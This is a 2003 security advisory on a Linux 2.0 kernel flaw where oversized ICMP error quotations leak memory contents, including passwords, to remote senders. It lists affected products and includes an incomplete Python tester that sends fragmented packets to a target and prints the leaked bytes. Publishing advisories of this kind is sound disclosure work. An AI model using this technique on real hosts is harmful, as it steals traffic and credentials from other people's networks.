Linux 2.0 Remote Info Leak from Too Big ICMP Citation
9 Jun. 2003
Summary
There is a bug in the way Linux 2.0 kernel IP stack computes the size of an ICMP citation for almost every ICMP errors. This leads to too much data being sent on the network, coming from anywhere in the memory.
This is a very important leak. Experiments show that even passwords can be stolen. Moreover, you can do this from anywhere on the Internet, as soon as you can send IP packets to the vulnerable host (except special firewalling).
The typical case is when you use a Linux 2.0 box (or, more probably, any appliance that uses it) as a masquerading gateway for internet and DMZ. In this configuration, the gateway can be used to leak potentially all your traffic from your LAN, even your POP passwords for the mail server in the DMZ.
Vulnerable products:
* Any 2.0 Linux kernel before 2.0.39 (2.0.39 included)
* WatchGuard Firebox II
* Any appliance (firewall, proxy, etc.) that uses Linux 2.0 <= 2.0.39
Bytes at offsets 0x3c to 0x4f are bonus. It works with every ICMP errors except the port unreachable error. It is possible to increase the size of data leaked by adding IP options.
####################################################################
## ##
## icmpleaktest.py --- tester for the ICMP leak vulnerability ##
## ##
## Copyright (C) 2003 Philippe Biondi <biondi@cartel-securite.fr> ##
## ##
## This program is free software; you can redistribute it and/or modify it ##
## under the terms of the GNU General Public License as published by the ##
## Free Software Foundation; either version 2, or (at your option) any ##
## later version. ##
## ##
## This program is distributed in the hope that it will be useful, but ##
## WITHOUT ANY WARRANTY; without even the implied warranty of ##
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
## General Public License for more details. ##
## ##
####################################################################
pid = os.fork()
if not pid:
i=30
while i >= 0:
time.sleep(1)
os.write(1,"%3i\r"%i)
i -= 1
print "not received ? Maybe you can't emit fragmented packets (ip_conntrack ?)"
sys.exit()
s.sendto(packet, (target,0))
print "Packet sent. Answer should take 31s. Interrupt with C-c"
while 1:
p = t.recv(1600)[14:]
if ord(p[9]) != IPPROTO_ICMP:
continue
p = p[(ord(p[0])&0x0f)*4:]
if p[:2] != "\x0b\x01": #ip reassembly time exceeded
continue
p = p[8:]
if p[4:6] != "\x12\x34":
continue
p = p[(ord(p[0])&0x0f)*4+8+len(load):]
os.kill(pid,9)
print "Got",repr(p)
break